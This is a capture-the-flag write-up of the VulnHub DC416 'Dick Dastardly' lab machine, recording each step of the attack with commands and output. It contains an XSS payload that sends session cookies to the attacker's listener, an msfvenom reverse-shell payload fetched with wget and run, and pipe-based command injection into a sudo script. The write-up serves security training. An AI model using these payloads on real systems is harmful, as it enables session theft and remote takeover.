DC416 Dick Dastardly VulnHub Writeup

  1. Service discovery
  2. Port 80
  3. Guestbook
  4. Admin
  5. IRC
  6. rasta
  7. vulnhub
  8. Summary

Recently VulnHub hosted a number of CTFs at DC416. This is the first that I'm picking up, by RastaMouse, and is named Dick Dastardly.

Service discovery

root@kali:~# nmap -T4 -A -v -p0-65535 192.168.110.101

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-12-13 05:46 EST
NSE: Loaded 140 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 05:46
Completed NSE at 05:46, 0.00s elapsed
Initiating NSE at 05:46
Completed NSE at 05:46, 0.00s elapsed
Initiating ARP Ping Scan at 05:46
Scanning 192.168.110.101 [1 port]
Completed ARP Ping Scan at 05:46, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:46
Completed Parallel DNS resolution of 1 host. at 05:46, 0.02s elapsed
Initiating SYN Stealth Scan at 05:46
Scanning 192.168.110.101 [65536 ports]
Discovered open port 80/tcp on 192.168.110.101
Discovered open port 22/tcp on 192.168.110.101
Completed SYN Stealth Scan at 05:46, 2.59s elapsed (65536 total ports)
Initiating Service scan at 05:46
Scanning 2 services on 192.168.110.101
Completed Service scan at 05:46, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.110.101
NSE: Script scanning 192.168.110.101.
Initiating NSE at 05:46
Completed NSE at 05:46, 0.14s elapsed
Initiating NSE at 05:46
Completed NSE at 05:46, 0.00s elapsed
Nmap scan report for 192.168.110.101
Host is up (0.00034s latency).
Not shown: 65533 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 03:26:f5:54:5b:15:37:ef:18:7e:08:cb:17:99:f3:16 (DSA)
|   2048 38:98:af:53:dd:59:c4:a6:8e:a3:71:61:79:39:a5:ee (RSA)
|_  256 4b:5e:ba:46:af:0f:75:dc:3d:2d:49:03:34:56:0c:31 (ECDSA)
80/tcp   open     http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnHub
6667/tcp filtered irc
MAC Address: 08:00:27:F9:FC:70 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 199.639 days (since Fri May 27 15:27:04 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=266 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 192.168.110.101

NSE: Script Post-scanning.
Initiating NSE at 05:46
Completed NSE at 05:46, 0.01s elapsed
Initiating NSE at 05:46
Completed NSE at 05:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds
           Raw packets sent: 65560 (2.885MB) | Rcvd: 65550 (2.623MB)

So we've got two services available to us - ssh on port 22, and http on port 80. I connect to ssh to to see if we've got any interesting in the welcome banner, but nothing.

Port 80

I use curl to check the headers on port 80 first.

root@kali:~# curl -v 192.168.110.101
* Rebuilt URL to: 192.168.110.101/
*   Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Dec 2016 10:49:14 GMT
< Server: Apache/2.4.7 (Ubuntu)
< Last-Modified: Mon, 17 Oct 2016 16:04:49 GMT
< ETag: "1eb-53f11bc50cf74"
< Accept-Ranges: bytes
< Content-Length: 491
< Vary: Accept-Encoding
< Flag: flag1{l0l_h0w_345y_15_7h15_c7f}
< Content-Type: text/html
<
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>VulnHub</title>
<link rel="stylesheet" href="styles.css" type="text/css" />
</head>
<body>

<div class="container">

<h1>DC416</h1>
<h3>Engagement Rules:</h3>
<ul>
<li>No username/password bruteforcing is necessary</li>
<li>This box has <b>4</b> flags</li>
<li>Flags are in <b>flag{}</b> format</li>
<li>Have fun</li>
</ul>

<img class="logo" src="logo.png">

</div>

</body>
</html>
* Connection #0 to host 192.168.110.101 left intact

There's our first flag - flag1{l0l_h0w_345y_15_7h15_c7f}. Somehow, I doubt it's going to stay easy.

Upon visiting the page, we're presented with the following.

I download logo.png and look through for any hints, but come up blank.

Next I run nikto against the target, to try and find a next step.

root@kali:~# nikto -C all -host 192.168.110.101
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.110.101
+ Target Hostname:    192.168.110.101
+ Target Port:        80
+ Start Time:         2016-12-13 05:54:35 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x1eb 0x53f11bc50cf74
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.20
+ Cookie PHPSESSID created without the httponly flag
+ Multiple index files found: /index.html, /index.php
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 26165 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2016-12-13 05:55:10 (GMT-5) (35 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

So we've come up with a single interesting hit - a file named db.php.

root@kali:~# curl -v 192.168.110.101/db.php
*   Trying 192.168.110.101...
* Connected to 192.168.110.101 (192.168.110.101) port 80 (#0)
> GET /db.php HTTP/1.1
> Host: 192.168.110.101
> User-Agent: curl/7.50.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Dec 2016 10:55:37 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.20
< Flag: flag1{l0l_h0w_345y_15_7h15_c7f}
< Content-Length: 0
< Content-Type: text/html
<
* Connection #0 to host 192.168.110.101 left intact

Damn, nothing there. My bet is that this is a config file which defines database connection details. Let's get a bit more aggressive and throw dirsearch at the target.

root@kali:~/dirsearch# python3 dirsearch.py -u 192.168.110.101 -e php

 _|. _ _  _  _  _ _|_    v0.3.7
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5151

Error Log: /root/dirsearch/logs/errors-16-12-13_05-56-25.log

Target: 192.168.110.101

[05:56:25] Starting:
[05:56:26] 403 -  295B  - /.htaccess-dev
[05:56:26] 403 -  286B  - /.hta
[05:56:26] 403 -  293B  - /.ht_wsr.txt
[05:56:26] 403 -  295B  - /.htaccess.old
[05:56:26] 403 -  298B  - /.htaccess.sample
[05:56:26] 403 -  295B  - /.htaccess.BAK
[05:56:26] 403 -  296B  - /.htaccess.orig
[05:56:26] 403 -  297B  - /.htaccess-local
[05:56:26] 403 -  297B  - /.htaccess-marco
[05:56:26] 403 -  296B  - /.htaccess.save
[05:56:26] 403 -  296B  - /.htaccess.bak1
[05:56:26] 403 -  295B  - /.htaccessOLD2
[05:56:26] 403 -  295B  - /.htaccess.txt
[05:56:26] 403 -  294B  - /.htaccess_sc
[05:56:26] 403 -  297B  - /.htaccess_extra
[05:56:26] 403 -  296B  - /.htaccess_orig
[05:56:26] 403 -  292B  - /.htaccess~
[05:56:26] 403 -  294B  - /.htaccessBAK
[05:56:26] 403 -  294B  - /.htaccessOLD
[05:56:26] 403 -  295B  - /.htpasswd-old
[05:56:26] 403 -  290B  - /.htgroup
[05:56:26] 403 -  292B  - /.htpasswds
[05:56:26] 403 -  290B  - /.htusers
[05:56:26] 403 -  296B  - /.htpasswd_test
[05:56:30] 302 -    0B  - /admin.php  ->  index.php
[05:56:30] 302 -    0B  - /admin.php  ->  index.php
[05:56:36] 200 -    1KB - /index.php
[05:56:36] 200 -  491B  - /index.html
[05:56:36] 200 -    1KB - /index.php/login/
[05:56:36] 301 -  322B  - /javascript  ->  http://192.168.110.101/javascript/
[05:56:39] 403 -  296B  - /server-status/
[05:56:39] 403 -  295B  - /server-status

Task Completed

So from here, we can see there's a second index file named index.php. This was infact flagged in nikto, but I failed to investigate. We've also got a directory named javascript. The server has directory listing disabled, so we can't see what's inside the javascript directory, but just in case I run dirsearch against it - it comes up blank.

After visiting index.php, it becomes apparent that index.html is the default index file, and index.php has a different purpose entirely.

Guestbook

So we can fill in the fields on this page and sign the guestbook. After some investigation, it appears that the input is not only filtered, but is also encoded prior to output, meaning that XSS is likely out of the question.

Before checking out the login form, I note that there is a link by which you can report issues with the guest book.

I start a test http server on my test machine.

root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

I then provide the following text as my report.

Test<img src=http://192.168.110.103:8000/dick>

A minute or so later, I see the following output against my test http server.

192.168.110.101 - - [13/Dec/2016 06:07:02] "GET /dick HTTP/1.1" 301 -
192.168.110.101 - - [13/Dec/2016 06:07:02] "GET /dick/ HTTP/1.1" 200 -

Great! So we can trigger an XSS attack against whoever is checking these error reports. In order to find out a bit more information about my target, I start up a server with ncat, to observe the request in full.

root@kali:~# ncat -vl 0.0.0.0 8000
Ncat: Version 7.25BETA2 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:8000

I then submit the same payload. After a few more minutes (doesn't look like it checks every minute unfortunately) I receive the following request.

Ncat: Connection from 192.168.110.101.
Ncat: Connection from 192.168.110.101:52035.
GET /dick/ HTTP/1.1
Referer: http://127.0.0.1/report.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) CasperJS/1.1.3+PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 192.168.110.103:8000

So we've got a phantomjs client visiting the page. No cookies available to us - damn. I put together a different payload.

<script>top.location="http://192.168.110.103:8000/" + document.cookie;</script>

Ensue more waiting..BOOM!

Ncat: Connection from 192.168.110.101.
Ncat: Connection from 192.168.110.101:52102.
GET /PHPSESSID=n5e6ifgbcmgjfptu461upj6ck4;%20admin=cmFzdGE6MWIzN3kwdWM0bjc2dTM1NTdoMTVwNDU1dzByZCw1dWNrM3J6 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/report.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) CasperJS/1.1.3+PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 192.168.110.103:8000

So we've got a cookie from our target. I add that to our browser, and refresh index.php.

Looks like we've successfully hijacked an admin session..but nothing has changed. There is no flag in the source, and there's nothing new on the report.php page.

Looking at the cookies, the admin cookie appears to be base64 encoded. Decoding it results in the following.

rasta:1b37y0uc4n76u3557h15p455w0rd,5uck3rz

I logout from the admin panel, and then login again with these details.

Nice, so we have another attack surface to check out.

Admin

So it looks like we have several options available to us here. We are able to add an IP to an IRC Whitelist. This suggests there's an IRC server running on the target which may be behind a firewall rule of sorts. There is also mention of something called Supybot. My guess is that this is a bot that runs on the IRC server, which may allow us to progress further.

First things first, I add my own IP to the whitelist, and perform another port scan.

root@kali:~# nmap -T4 -A -v -p0-65535 192.168.110.101

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-12-13 06:48 EST
NSE: Loaded 140 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 06:48
Completed NSE at 06:48, 0.00s elapsed
Initiating NSE at 06:48
Completed NSE at 06:48, 0.00s elapsed
Initiating ARP Ping Scan at 06:48
Scanning 192.168.110.101 [1 port]
Completed ARP Ping Scan at 06:48, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:48
Completed Parallel DNS resolution of 1 host. at 06:48, 0.00s elapsed
Initiating SYN Stealth Scan at 06:48
Scanning 192.168.110.101 [65536 ports]
Discovered open port 80/tcp on 192.168.110.101
Discovered open port 22/tcp on 192.168.110.101
Discovered open port 6667/tcp on 192.168.110.101
Completed SYN Stealth Scan at 06:48, 1.51s elapsed (65536 total ports)
Initiating Service scan at 06:48
Scanning 3 services on 192.168.110.101
Completed Service scan at 06:48, 6.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.110.101
NSE: Script scanning 192.168.110.101.
Initiating NSE at 06:48
Completed NSE at 06:49, 36.29s elapsed
Initiating NSE at 06:49
Completed NSE at 06:49, 0.00s elapsed
Nmap scan report for 192.168.110.101
Host is up (0.00037s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 03:26:f5:54:5b:15:37:ef:18:7e:08:cb:17:99:f3:16 (DSA)
|   2048 38:98:af:53:dd:59:c4:a6:8e:a3:71:61:79:39:a5:ee (RSA)
|_  256 4b:5e:ba:46:af:0f:75:dc:3d:2d:49:03:34:56:0c:31 (ECDSA)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnHub
6667/tcp open  irc     IRCnet ircd
| irc-info:
|   users: 1
|   servers: 1
|   chans: 15
|   lusers: 1
|   lservers: 0
|   server: irc.localhost
|   version: 2.11.2p2. irc.localhost 000A
|   uptime: 0 days, 1:05:50
|   source ident: NONE or BLOCKED
|   source host: 192.168.110.103
|_  error: Closing Link: adpxfjmta[~nmap@192.168.110.103] ("")
MAC Address: 08:00:27:F9:FC:70 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 0.042 days (since Tue Dec 13 05:48:09 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: irc.localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.37 ms 192.168.110.101

NSE: Script Post-scanning.
Initiating NSE at 06:49
Completed NSE at 06:49, 0.00s elapsed
Initiating NSE at 06:49
Completed NSE at 06:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.01 seconds
           Raw packets sent: 65559 (2.885MB) | Rcvd: 65551 (2.623MB)

Awesome - we have an IRC server on port 6667. Let's connect!

IRC

Forgive me for my sins - I'm connecting using hexchat, as root.

* Looking up 192.168.110.101
* Connecting to 192.168.110.101 (192.168.110.101:6667)
* Connected. Now logging in.
* Please wait while we process your connection.
* Welcome to the Internet Relay Network root!~root@192.168.110.103
* Your host is irc.localhost, running version 2.11.2p2
* This server was created Mon Oct 17 2011 at 18:50:45 UTC
* irc.localhost 2.11.2p2 aoOirw abeiIklmnoOpqrRstv
* RFC2812 PREFIX=(ov)@+ CHANTYPES=#&!+ MODES=3 CHANLIMIT=#&!+:21 NICKLEN=15 TOPICLEN=255 KICKLEN=255 MAXLIST=beIR:64 CHANNELLEN=50 IDCHAN=!:5 CHANMODES=beIR,k,l,imnpstaqr :are supported by this server
* PENALTY FNC EXCEPTS=e INVEX=I CASEMAPPING=ascii NETWORK=ExampleNet :are supported by this server
* 000AAAAAG :your unique ID
* There are 1 users and 0 services on 1 servers
* 15 :channels formed
* I have 1 users, 0 services and 0 servers
* 1 1 :Current local users 1, max 1
* 1 1 :Current global users 1, max 1
* - irc.localhost Message of the Day -
* - 17/9/2016 12:47
* -                                [ VulnHub ]                               
* - |------------------------------------------------------------------------|
* - | Welcome to the VulnHub Admin IRC channel.                              |
* - |     I hope you're enjoying the CTF (but no flag here I'm afraid)       |
* - |                                                                        |
* - |                                                          - Rasta Mouse |
* - |------------------------------------------------------------------------|
* End of MOTD command

So no flag, and I'm the only user on the server. I check out the list of channels by issuing the /raw list command.

&WALLOPS         1       SERVER MESSAGES: wallops received
&SAVE            1       SERVER MESSAGES: save messages
&AUTH            1       SERVER MESSAGES: messages from the authentication slave
&SERVICES        1       SERVER MESSAGES: services joining and leaving
&LOCAL           1       SERVER MESSAGES: notices about local connections
&HASH            1       SERVER MESSAGES: hash tables growth
&SERVERS         1       SERVER MESSAGES: servers joining and leaving
&NUMERICS        1       SERVER MESSAGES: numerics received
&CHANNEL         1       SERVER MESSAGES: fake modes
&KILLS           1       SERVER MESSAGES: operator and server kills
&NOTICES         1       SERVER MESSAGES: warnings and notices
&ERRORS          1       SERVER MESSAGES: server errors
* End of LIST

I recall there being an Activate Supybot button on the admin panel, as well as an input to create a Supybot user. I create a user with the username and password of root, and then click on Activate Supybot. Then, I check the channel listing again. Nothing appeared immediately, but I recall there was a delay of around 10 seconds before my connection was accepted. I wait, and try again.

#vulnhub         1       
&WALLOPS         1       SERVER MESSAGES: wallops received
&SAVE            1       SERVER MESSAGES: save messages
&AUTH            1       SERVER MESSAGES: messages from the authentication slave
&SERVICES        1       SERVER MESSAGES: services joining and leaving
&LOCAL           1       SERVER MESSAGES: notices about local connections
&HASH            1       SERVER MESSAGES: hash tables growth
&SERVERS         1       SERVER MESSAGES: servers joining and leaving
&NUMERICS        1       SERVER MESSAGES: numerics received
&CHANNEL         1       SERVER MESSAGES: fake modes
&KILLS           1       SERVER MESSAGES: operator and server kills
&NOTICES         1       SERVER MESSAGES: warnings and notices
&ERRORS          1       SERVER MESSAGES: server errors
* End of LIST

Great, there's a new channel named #vulnhub. After joining #vulnhub, I see there is another user in the channel, named vulnhub-bot. I perform a whois on the user.

* [vulnhub-bot] (~limnoria@127.0.0.1): Limnoria 2016.08.07
* [vulnhub-bot] @#vulnhub
* [vulnhub-bot] irc.localhost :Debian ircd default configuration
* [vulnhub-bot] idle 00:01:36, signon: Tue Dec 13 08:58:30
* [vulnhub-bot] End of WHOIS list

Let's try talking to the bot, and see what it's got to say.

<root> help
-vulnhub-bot- (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. You may also want to use the 'list' command to list all available plugins and commands.
<root> list
-vulnhub-bot- Admin, AutoMode, Channel, Config, Misc, NickAuth, Owner, Unix, User, and Utilities

So let's investigate the first command - Admin.

<root> Admin
-vulnhub-bot- Error: "Admin" is not a valid command.
<root> help Admin
-vulnhub-bot- Error: There is no command "admin". However, "Admin" is the name of a loaded plugin, and you may be able to find its provided commands using 'list Admin'.
<root> list Admin
-vulnhub-bot- capability add, capability remove, channels, clearq, ignore add, ignore list, ignore remove, join, and nick

Ok, so the entries returned from the list command are actually plugins, and each plugin has a list of commands. I explore the commands provided by the other plugins, to see if any stand out as particularly interesting.

<root> list AutoMode
-vulnhub-bot- That plugin exists, but has no commands.  This probably means that it has some configuration variables that can be changed in order to modify its behavior.  Try "config list supybot.plugins.AutoMode" to see what configuration variables it has.
<root> list Config
-vulnhub-bot- channel, config, default, export, help, list, reload, search, and setdefault
<root> list Misc
-vulnhub-bot- apropos, clearmores, completenick, help, last, list, more, noticetell, ping, source, tell, and version
<root> list NickAuth
-vulnhub-bot- auth, nick add, nick list, and nick remove
<root> list Owner
-vulnhub-bot- announce, defaultcapability, defaultplugin, disable, enable, flush, ircquote, load, logmark, quit, reload, reloadlocale, rename, unload, unrename, and upkeep
<root> list Unix
-vulnhub-bot- call, crypt, errno, fortune, pid, ping, ping6, progstats, shell, spell, sysuname, sysuptime, and wtf
<root> list User
-vulnhub-bot- capabilities, changename, hostmask, hostmask add, hostmask list, hostmask remove, identify, list, register, set password, set secure, stats, unidentify, unregister, username, and whoami
<root> list Utilities
-vulnhub-bot- apply, countargs, echo, ignore, last, let, sample, shuffle, sort, and success

Seeing as we previously added a user to the Supybot, the most interesting command that immediately pops out to me is User.identify.

<root> help identify
-vulnhub-bot- (identify <name> <password>) -- Identifies the user as <name>. This command (and all other commands that include a password) must be sent to the bot privately, not in a channel.

Let's try and identify with the username and password of root.

<root> identify root root
-vulnhub-bot- The operation succeeded.

Great - there's another command in the User plugin named capabilities, which I imagine will list what permissions has.

<root> capabilities
-vulnhub-bot- [owner]

That doesn't tell us much, but we can assume that owner means we have full permissions over the bot.

Looking over the the other commands, another interesting plugin is Unix. This looks to allow us to interact with the target server. Let's check out the call and shell commands.

<root> help call
-vulnhub-bot- (call <command to call with any arguments>) -- Calls any command available on the system, and returns its output. Requires owner capability. Note that being restricted to owner, this command does not do any sanity checking on input/output. So it is up to you to make sure you don't run anything that will spamify your channel or that will bring your machine to its knees.
<root> help shell
-vulnhub-bot- (shell <command to call with any arguments>) -- Calls any command available on the system using the shell specified by the SHELL environment variable, and returns its output. Requires owner capability. Note that being restricted to owner, this command does not do any sanity checking on input/output. So it is up to you to make sure you don't run anything that will spamify your channel or that will bring your (1 more message)

Well this looks very interesting. Let's see what user we are running as on the target.

<root> call id
-vulnhub-bot- uid=1001(rasta) gid=1001(rasta) groups=1001(rasta)

Nice - let's next inspect the contents of /etc/passwd, before we drop a meterpreter payload on the target.

call cat /etc/passwd
-vulnhub-bot- root:x:0:0:root:/root:/bin/bash, daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin, bin:x:2:2:bin:/bin:/usr/sbin/nologin, sys:x:3:3:sys:/dev:/usr/sbin/nologin, sync:x:4:65534:sync:/bin:/bin/sync, games:x:5:60:games:/usr/games:/usr/sbin/nologin, man:x:6:12:man:/var/cache/man:/usr/sbin/nologin, lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin, mail:x:8:8:mail:/var/mail:/usr/sbin/nologin, (3 more messages)
<root> more
-vulnhub-bot- news:x:9:9:news:/var/spool/news:/usr/sbin/nologin, uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin, proxy:x:13:13:proxy:/bin:/usr/sbin/nologin, www-data:x:33:33:www-data:/var/www:/bin/sh, backup:x:34:34:backup:/var/backups:/usr/sbin/nologin, list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin, irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin, gnats:x:41:41:Gnats Bug-Reporting System (2 more messages)
<root> more
-vulnhub-bot- (admin):/var/lib/gnats:/usr/sbin/nologin, nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin, libuuid:x:100:101::/var/lib/libuuid:/bin/sh, syslog:x:101:103::/home/syslog:/bin/false, messagebus:x:102:105::/var/run/dbus:/bin/false, whoopsie:x:103:106::/nonexistent:/bin/false, landscape:x:104:109::/var/lib/landscape:/bin/false, vulnhub:x:1000:1000:,,,:/home/vulnhub:/bin/bash, (1 more message)
<root> more
-vulnhub-bot- sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin, mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false, rasta:x:1001:1001::/home/rasta:/bin/bash, and admin:x:999:999::/home/admin:/bin/bash

So we've got a few non-system users on the target - rasta (our current identity), admin and vulnhub.

Let's stop messing about, and get a meterpreter payload on the target. Firstly, I check the architecture.

<root> call uname -a
-vulnhub-bot- Linux DickDastardly 3.13.0-101-generic #148-Ubuntu SMP Thu Oct 20 22:08:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Great - let's generate an appropriate payload.

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.110.103 LPORT=4444 -f elf > shell.elf
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 71 bytes
Final size of elf file: 155 bytes

Next I start a simple http server with python.

root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

I then issue a command to the target to download the payload to a temporary directory and set it as executable.

<root> call wget http://192.168.110.103:8000/shell.elf -O /tmp/shell.elf
-vulnhub-bot- Error: --2016-12-13 15:13:04-- http://192.168.110.103:8000/shell.elf Connecting to 192.168.110.103:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 155 [application/octet-stream] Saving to: '/tmp/shell.elf' 0K 100% 155K=0.001s 2016-12-13 15:13:04 (155 KB/s) - '/tmp/shell.elf' saved [155/155]

Time to setup a handler in metasploit.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.103
LHOST => 192.168.110.103
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.110.103:4444
[*] Starting the payload handler...

..and finally, execute the payload.

[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.110.101
[*] Meterpreter session 1 opened (192.168.110.103:4444 -> 192.168.110.101:34905) at 2016-12-13 12:52:36 -0500

meterpreter >

Great - we've now got a decent foothold on the server, as the rasta user.

rasta

Let's start exploring. I check out what our current directory is, and its content.

meterpreter > shell
Process 6648 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/opt/vulnhub-bot
$ ls -lah
total 136K
drwxr-xr-x 9 rasta rasta 4.0K Dec 13 14:58 .
drwxr-xr-x 6 root  root  4.0K Oct 17 20:03 ..
drwxrwxr-x 2 rasta rasta 4.0K Sep 17 17:38 backup
drwxrwxr-x 2 rasta rasta 4.0K Dec 13 14:58 conf
drwxrwxr-x 4 rasta rasta 4.0K Sep 17 17:40 data
-rw-r--r-- 1 root  root    32 Sep 26 17:12 flag2
drwxrwxr-x 3 rasta rasta 4.0K Sep 17 17:38 logs
drwxrwxr-x 2 rasta rasta 4.0K Sep 17 17:38 plugins
drwxrwxr-x 2 rasta rasta 4.0K Sep 17 17:39 tmp
-rw-r--r-- 1 rasta rasta  47K Dec 13 14:58 vulnhub-bot.conf
-rw-r--r-- 1 rasta rasta  47K Dec 13 13:58 vulnhub-bot.conf.bak
drwxrwxr-x 2 rasta rasta 4.0K Sep 17 17:40 web

There's our second flag!

$ cat flag2
flag2{y0u'r3_4_5upyb07_n00b_m8}

Let's have a bit more of a dig about. I check to see what commands the rasta user can execute with sudo.

$ sudo -l
Matching Defaults entries for rasta on DickDastardly:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rasta may run the following commands on DickDastardly:
    (vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py

Well then, it looks like we can run a python script located at /usr/local/sbin/util.py. Let's see what this script actually does.

$ ls -alh /usr/local/sbin/util.py
-rwx------ 1 vulnhub vulnhub 756 Sep 26 16:44 /usr/local/sbin/util.py

Oh, or maybe not. We don't have permission to even read the file. Let's go all gung-ho and try to run the script.

$ sudo -u vulnhub /usr/bin/python /usr/local/sbin/util.py

 ----------------
|  Admin Helper  |
|    dev 0.1  |
 ----------------

1 whoami
2 List Directory
3 Coffee
q Exit

Please Select:

I explore the various options.

1 whoami
2 List Directory
3 Coffee
q Exit

Please Select: 1
vulnhub


1 whoami
2 List Directory
3 Coffee
q Exit

Please Select: 2

Enter dir to list: /home/vulnhub
total 4
-rw-r--r-- 1 root root 37 Sep 26 16:59 flag3


1 whoami
2 List Directory
3 Coffee
q Exit

Please Select: 3

  .-=-.
 ,|`~'|
 `|   |
   `~'

The only option that prompts for any input is the second. Let's see if we can gain command execution by tampering with this value.

1 whoami
2 List Directory
3 Coffee
q Exit

Please Select: 2

Enter dir to list: && id
ls: cannot access id: No such file or directory


1 whoami
2 List Directory
3 Coffee
q Exit

Please Select: 2

Enter dir to list: ; id
ls: cannot access id: No such file or directory


1 whoami
2 List Directory
3 Coffee
q Exit

Please Select: 2

Enter dir to list: | id
uid=1000(vulnhub) gid=1000(vulnhub) groups=1000(vulnhub)

Awesome! Let's execute the payload we created earlier, and gain a meterpreter session as the vulnhub user.

1 whoami
2 List Directory
3 Coffee
q Exit

Please Select: 2

Enter dir to list: | /tmp/shell.elf &

[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.110.101
[*] Meterpreter session 2 opened (192.168.110.103:4444 -> 192.168.110.101:34975) at 2016-12-13 13:16:16 -0500

Let's start playing with our new session.

vulnhub

^Z
Background channel 1? [y/N]  y
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > session -i 2
[-] Unknown command: session.
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000

We need to go deeper.

meterpreter > shell
Process 7451 created.
